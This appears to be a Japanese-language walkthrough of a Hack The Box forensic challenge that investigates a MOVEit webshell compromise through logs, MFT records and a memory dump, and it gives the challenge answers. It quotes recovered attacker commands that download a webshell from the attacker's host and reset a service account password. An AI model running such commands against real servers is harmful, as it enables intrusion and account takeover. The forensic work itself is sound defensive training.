https://app.hackthebox.com/sherlocks/i-like-to
Hack The Box Sherlocksとは
Sherlock Scenario
We have unfortunately been hiding under a rock and did not see the many news articles referencing the recent MOVEit CVE being exploited in the wild. We believe our Windows server may be vulnerable and has recently fallen victim to this compromise. We need to understand this exploit in a bit more detail and confirm the actions of the attacker & retrieve some details so we can implement them into our SOC environment. We have provided you with a triage of all the necessary artifacts from our compromised Windows server. PS: One of the artifacts is a memory dump, but we forgot to include the vmss file. You might have to go back to basics here...
残念ながら、私たちは岩の下に隠れていたため、実際に悪用されている最近の MOVEit CVE に言及する多くのニュース記事を目にすることができませんでした。当社では、当社の Windows サーバーに脆弱性がある可能性があり、最近この侵害の被害に遭ったと考えています。このエクスプロイトをもう少し詳しく理解し、攻撃者の行動を確認し、SOC 環境に実装できるように詳細を取得する必要があります。侵害された Windows サーバーから必要なすべてのアーティファクトを優先順位付けして提供しました。PS: アーティファクトの 1 つはメモリ ダンプですが、vmss ファイルを含めるのを忘れていました。ここで基本に立ち返る必要があるかもしれません...
メモリダンプとファストフォレンジックダンプが与えられる。
Task 1
Name of the ASPX webshell uploaded by the attacker?
攻撃者がアップロードした ASPX Web シェルの名前は?
ASPX webshellとのことなので、C:\inetpub
を見てみるがwwwrootはない。
セオリー通りイベントログを漁るのに、hayabusaを使って.aspx
でキーワード検索したがそれっぽいものはない。
解凍したファイル全体で.aspx
を検索してみると
Triage\uploads\auto\C%3A\Users\moveitsvc.WIN-LR8T2EF8VHM.002\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
で興味深いログがあった。
cd C:\inetpub\wwwroot wget http://10.255.254.3:9001/moveit.asp dir wget http://10.255.254.3:9001/moveit.asp -OutFile moveit.asp dir cd C:\MOVEitTransfer\wwwroot wget http://10.255.254.3:9001/move.aspx -OutFile move.aspx
これですね。move.aspx
が答え。
Task 2
What was the attacker's IP address?
攻撃者の IP アドレスは何でしたか?
Task 1を見ると分かる。10.255.254.3
Task 3
What user agent was used to perform the initial attack?
最初の攻撃の実行にはどのユーザー エージェントが使用されましたか?
Task 2で得たIOCの10.255.254.3
を使って検索してみる。
Triage\uploads\auto\C%3A\inetpub\logs\LogFiles\W3SVC2\u_ex230712.log
にいい感じにアクセスログが残っていた。
2023-07-12 10:08:39 10.10.0.25 OPTIONS / - 80 - 10.255.254.3 - - 200 0 64 5375 2023-07-12 10:08:39 10.10.0.25 GET / - 80 - 10.255.254.3 - - 302 0 64 11023 2023-07-12 10:08:41 10.10.0.25 OPTIONS / - 443 - 10.255.254.3 - - 200 0 0 118 2023-07-12 10:08:41 10.10.0.25 GET / - 443 - 10.255.254.3 - - 200 0 64 5649 2023-07-12 10:11:15 10.10.0.25 OPTIONS / - 80 - 10.255.254.3 Mozilla/5.0+(compatible;+Nmap+Scripting+Engine;+https://nmap.org/book/nse.html) - 200 0 0 101 2023-07-12 10:11:15 10.10.0.25 GET /nmaplowercheck1689156596 - 80 - 10.255.254.3 Mozilla/5.0+(compatible;+Nmap+Scripting+Engine;+https://nmap.org/book/nse.html) - 404 0 2 128 2023-07-12 10:11:15 10.10.0.25 GET / - 80 - 10.255.254.3 Mozilla/5.0+(compatible;+Nmap+Scripting+Engine;+https://nmap.org/book/nse.html) - 302 0 0 135 ...
2023-07-12 10:08:39
が最初のコンタクトで、nmapを使ったスキャン行為が続いている。
nmapかと思ったがplaceholderに合わない。(後で分かるがTask 7でここは聞かれている)
プレースホルダーを考慮しながら読み進めるとRuby
が答えだった。
攻撃が成功した段階のことを問うていたみたい。
Task 4
When was the ASPX webshell uploaded by the attacker?
ASPX Webシェルが攻撃者によってアップロードされたのはいつですか?
ファイル操作なので$MFT
の解析をしてみよう。
ZimmermanToolsのMFTECmdでTriage\uploads\ntfs\%5C%5C.%5CC%3A\$MFT
を変換して中を見てみよう。
PS> ZimmermanTools\MFTECmd.exe -f '.\Triage\uploads\ntfs\%5C%5C.%5CC%3A\$MFT' --csv mft.csv
みたいに変換して、
$ cat 20240107162638_MFTECmd_\$MFT_Output.csv | grep move.aspx 1293,31,True,274233,9,.\MOVEitTransfer\wwwroot,move.aspx,.aspx,1400,1,,False,False,False,False,False,False,Archive,Windows,2023-07-12 11:24:30.4297594,,2023-07-12 11:24:30.4610703,2023-07-12 11:24:30.4297594,2023-07-12 11:24:30.4610703,2023-07-12 11:24:30.4297594,2023-07-12 11:24:30.4610703,2023-07-12 11:24:30.4297594,1808772160,609836657,1248,,, 273810,17,True,276846,4,.\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\9a11d1d0\5debd404,move.aspx.cdcab7d2.compiled,.compiled,294,1,,False,False,False,False,False,False,Archive,Windows,2023-07-12 11:24:43.3828834,,2023-07-12 11:24:43.3828834,,2023-07-12 11:24:43.3828834,,2023-07-12 11:24:43.3828834,,1808776424,609859181,1287,,, csvの最初は EntryNumber,SequenceNumber,InUse,ParentEntryNumber,ParentSequenceNumber,ParentPath,FileName,Extension,FileSize,ReferenceCount,ReparseTarget,IsDirectory,HasAds,IsAds,SI<FN,uSecZeros,,Copied,SiFlags,NameType,Created0x10,Created0x30,LastModified0x10,LastModified0x30,LastRecordChange0x10,LastRecordChange0x30,LastAccess0x10,LastAccess0x30,UpdateSequenceNumber,LogfileSequenceNumber,SecurityId,ObjectIdFileDroid,LoggedUtilStream,ZoneIdContents
最初のエントリをみると、.\MOVEitTransfer\wwwroot\move.aspx
について
Createdが2023-07-12 11:24:30
とある。
よって12/07/2023 11:24:30
が正答。
Task 5
The attacker uploaded an ASP webshell which didn't work, what is its filesize in bytes?
攻撃者は ASP WebShell をアップロードしましたが、機能しませんでした。そのファイルサイズはバイト単位でどれくらいですか?
Task 4と同じ所で見ることができると思ったが、FileSizeは1400と書いてある。
んーと思って試しにTask 1で得たファイル名 moveit.asp
で検索してみると
placeholderと同じ2で終わるFileSizeが得られた。
$ cat 20240107162638_MFTECmd_\$MFT_Output.csv | grep moveit.asp 100896,6,True,274233,9,.\MOVEitTransfer\wwwroot,moveit.asp,.asp,1362,1,,False,False,False,False,False,True,Archive,DosWindows,2023-07-12 11:19:37.3316397,,2023-07-12 11:17:12.7120642,2023-07-12 11:19:37.3316397,2023-07-12 11:17:12.7120642,2023-07-12 11:19:37.3316397,2023-07-12 11:19:37.3316397,,1808725272,609575211,1936,,, 273729,50,True,265340,5,.\inetpub\wwwroot,moveit.asp,.asp,1362,1,,False,False,False,False,False,False,Archive,DosWindows,2023-07-12 11:17:12.6808372,,2023-07-12 11:17:12.7120642,2023-07-12 11:17:12.6808372,2023-07-12 11:17:12.7120642,2023-07-12 11:17:12.6808372,2023-07-12 11:17:12.7120642,2023-07-12 11:17:12.6808372,1808710920,609432138,1935,,,
1362
を出すと正答だった。よく分からない。
Task 7
Which tool did the attacker use to initially enumerate the vulnerable server?
攻撃者は最初に脆弱なサーバーを列挙するためにどのツールを使用しましたか?
Task 3よりnmap
が答え。
Task 8
We suspect the attacker may have changed the password for our service account. Please confirm the time this occurred (UTC)
攻撃者がサービス アカウントのパスワードを変更した可能性があると考えられます。これが発生した時刻 (UTC) を確認してください。
サービスアカウント?ということで後回しにしていると、Task 9でやったhayabusaを使ったキーワード検索にそれっぽいユーザー名が見えてくる。
MOVER\moveitsvc
svc終わりなので、サービスアカウントっぽい。
moveitsvc
でhayabusaを使ってキーワード検索してみよう。
沢山ログが出てくる。Task 3より2023-07-12 10:08:39
が最初のコンタクトなので、それ以降でパスワードリセットっぽいものを探す。
"2023-07-12 20:09:27.864 +09:00","mover","Sec",4738,60771,"User account changed","AccountExpires: %%1794 ¦ AllowedToDelegateTo: - ¦ DisplayName: moveitsvc ¦ Dummy: - ¦ HomeDirectory: %%1793 ¦ HomePath: %%1793 ¦ LogonHours: %%1797 ¦ NewUacValue: 0x210 ¦ OldUacValue: 0x210 ¦ PasswordLastSet: 7/12/2023 3:09:27 AM ¦ PrimaryGroupId: 513 ¦ PrivilegeList: - ¦ ProfilePath: %%1793 ¦ SamAccountName: moveitsvc ¦ ScriptPath: %%1793 ¦ SidHistory: - ¦ SubjectDomainName: MOVER ¦ SubjectLogonId: 0x8d5ab ¦ SubjectUserName: moveitsvc ¦ SubjectUserSid: S-1-5-21-4088429403-1159899800-2753317549-1006 ¦ TargetDomainName: MOVER ¦ TargetSid: S-1-5-21-4088429403-1159899800-2753317549-1006 ¦ TargetUserName: moveitsvc ¦ UserAccountControl: - ¦ UserParameters: - ¦ UserPrincipalName: - ¦ UserWorkstations: %%1793","Triage/uploads/auto/C%3A/Windows/System32/winevt/Logs/Security.evtx" "2023-07-12 20:09:27.864 +09:00","mover","Sec",4724,60772,"Account password reset attempt","SubjectDomainName: MOVER ¦ SubjectLogonId: 0x8d5ab ¦ SubjectUserName: moveitsvc ¦ SubjectUserSid: S-1-5-21-4088429403-1159899800-2753317549-1006 ¦ TargetDomainName: MOVER ¦ TargetSid: S-1-5-21-4088429403-1159899800-2753317549-1006 ¦ TargetUserName: moveitsvc","Triage/uploads/auto/C%3A/Windows/System32/winevt/Logs/Security.evtx"
この辺が該当する。どちらも同じ時刻で、UTCに変換して答えると正答。
12/07/2023 11:09:27
Task 9
Which protocol did the attacker utilize to remote into the compromised machine?
攻撃者は侵害されたマシンにリモートからアクセスするためにどのプロトコルを利用しましたか?
hayabusaで攻撃者のIPアドレスをキーワード検索すると分かる。
$ ./hayabusa-2.12.0-lin-x64-gnu search -d Triage/uploads/auto/C%3A/Windows/System32/winevt/Logs/ -k "10.255.254.3" ... Timestamp ‖ Hostname ‖ Channel ‖ Event ID ‖ Record ID ‖ EventTitle ‖ AllFieldInfo ‖ EvtxFile 2023-07-12 19:08:29.384 +09:00 ‖ mover ‖ RDP-CoreTS ‖ 131 ‖ 10 ‖ - ‖ ClientIP: 10.255.254.3:34408 ¦ ConnType: TCP ‖ Triage/uploads/auto/C%3A/Windows/System32/winevt/Logs/Microsoft-Windows-RemoteDesktopServices-RdpCoreTS%254Operational.evtx 2023-07-12 19:11:14.980 +09:00 ‖ mover ‖ RDP-CoreTS ‖ 131 ‖ 23 ‖ - ‖ ClientIP: 10.255.254.3:56536 ¦ ConnType: TCP ‖ Triage/uploads/auto/C%3A/Windows/System32/winevt/Logs/Microsoft-Windows-RemoteDesktopServices-RdpCoreTS%254Operational.evtx ...
このようにRDPのログが残っているので、RDP
が答え。
Task 10
Please confirm the date and time the attacker remotely accessed the compromised machine?
攻撃者が侵害されたマシンにリモート アクセスした日時を確認してください。
Task 9で取得したキーワード検索の結果に答えが含まれている。
2023-07-12 20:11:18.665 +09:00 ‖ mover ‖ Sec ‖ 4624 ‖ 60794 ‖ Logon success ‖ AuthenticationPackageName: Negotiate ¦ ElevatedToken: %%1843 ¦ ImpersonationLevel: %%1833 ¦ IpAddress: 10.255.254.3 ¦ IpPort: 0 ¦ KeyLength: 0 ¦ LmPackageName: - ¦ LogonGuid: 00000000-0000-0000-0000-000000000000 ¦ LogonProcessName: User32 ¦ LogonType: 10 ¦ ProcessId: 0x7bc ¦ ProcessName: C:\Windows\System32\svchost.exe ¦ RestrictedAdminMode: %%1843 ¦ SubjectDomainName: HTB ¦ SubjectLogonId: 0x3e7 ¦ SubjectUserName: MOVER$ ¦ SubjectUserSid: S-1-5-18 ¦ TargetDomainName: MOVER ¦ TargetLinkedLogonId: 0x810079b ¦ TargetLogonId: 0x81007b8 ¦ TargetOutboundDomainName: - ¦ TargetOutboundUserName: - ¦ TargetUserName: moveitsvc ¦ TargetUserSid: S-1-5-21-4088429403-1159899800-2753317549-1006 ¦ TransmittedServices: - ¦ VirtualAccount: %%1843 ¦ WorkstationName: MOVER ‖ Triage/uploads/auto/C%3A/Windows/System32/winevt/Logs/Security.evtx
この検索結果の時刻が答え。
いくつかLogon successのログはあるが、RDP経由であるLogonType: 10
の最も遅い時刻のものがこれ。
UTCに直した12/07/2023 11:11:18
が答え。
Task 11
What was the useragent that the attacker used to access the webshell?
攻撃者が Web シェルにアクセスするために使用したユーザー エージェントは何でしたか?
これまで確認しているTriage\uploads\auto\C%3A\inetpub\logs\LogFiles\W3SVC2\u_ex230712.log
を見ればいい。
the webshellはmove.aspxのことなので、以下のログが関連している。
2023-07-12 11:24:43 10.10.0.25 GET /move.aspx - 443 - 10.255.254.3 Mozilla/5.0+(X11;+Linux+x86_64;+rv:102.0)+Gecko/20100101+Firefox/102.0 - 200 0 0 1179 2023-07-12 11:24:47 10.10.0.25 POST /move.aspx - 443 - 10.255.254.3 Mozilla/5.0+(X11;+Linux+x86_64;+rv:102.0)+Gecko/20100101+Firefox/102.0 https://moveit.htb/move.aspx 200 0 0 159
この時のUAが答え。
Mozilla/5.0+(X11;+Linux+x86_64;+rv:102.0)+Gecko/20100101+Firefox/102.0
Task 12
What is the inst ID of the attacker?
攻撃者のインスタンス ID は何ですか?
inst ID?
と思ってキーワード検索してみるとinstID
でmoveit.sqlが出てくる。MOVEitで使われるIDのようだ。
moveit.sqlにありそうだなということで漁ってみると、以下のloghというテーブルでいい感じの情報がある。
-- -- Table structure for table `loglh` -- DROP TABLE IF EXISTS `loglh`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `loglh` ( `ID` bigint NOT NULL AUTO_INCREMENT, `InstID` int NOT NULL DEFAULT '0', `LastHash` varchar(128) CHARACTER SET latin1 COLLATE latin1_swedish_ci DEFAULT NULL, PRIMARY KEY (`ID`), UNIQUE KEY `InstID` (`InstID`) ) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8mb3; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `loglh` -- LOCK TABLES `loglh` WRITE; /*!40000 ALTER TABLE `loglh` DISABLE KEYS */; INSERT INTO `loglh` VALUES (1,0,'4ADedxO6288H655hj2EnqvCCfq0WfLHu5PE5ijdDbs9cDqS9uPfElLnxiBFeXIuYSPsYWgdmOlM='),(2,3636,'4AD4rNWG1RIUJNkfEvZXgUmWJUz4SHogw+vYW1KXA9suqBx2WuDimMiisFpr6x+ACyKuZScneNR='),(3,1234,'4ABwQKpOanzdGxDp98e95Njhx0bgV4OI9pGyLErB9IVEELR8gPICBPYaeNamGDQC4X8cU5ba1bR='); /*!40000 ALTER TABLE `loglh` ENABLE KEYS */; UNLOCK TABLES;
番号が一番大きいものが最後に入った人、つまり攻撃者だろうという仮定(とplaceholderの一致)で
1234
を答えると正答。
Task 13
What command was run by the attacker to retrieve the webshell?
Webシェルを取得するために攻撃者はどのコマンドを実行しましたか?
Triage\uploads\auto\C%3A\Users\moveitsvc.WIN-LR8T2EF8VHM.002\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
にある。
wget http://10.255.254.3:9001/move.aspx -OutFile move.aspx
が答え。
Task 14
What was the string within the title header of the webshell deployed by the TA?
TA によってデプロイされた Web シェルのタイトル ヘッダー内の文字列は何ですか?
メモリダンプから抜き取る。
Volatility 3を使ったが失敗したので、単純にstringsとgrepで持ってきた。
(問題文にあったPS: アーティファクトの 1 つはメモリ ダンプですが、vmss ファイルを含めるのを忘れていました。ここで基本に立ち返る必要があるかもしれません...
というのはそういうことか?)
strings -n 10 I-like-to-27a787c5.vmem | grep "<title>"
をしてplaceholderに合いそうな感じで探してsubmit検証していくと
awen asp.net webshell
が正解だった。
Task 15
What did the TA change the our moveitsvc account password to?
TA は moveitsvc アカウントのパスワードを何に変更しましたか?
Task 14と同様にメモリから持って来るんだろうと思い、strings -n 10 I-like-to-27a787c5.vmem | grep "moveitsvc"
の出力結果を漁ると、良いヒットがある。
net user "moveitsvc" 5trongP4ssw0rd
これですね。5trongP4ssw0rd
が答え。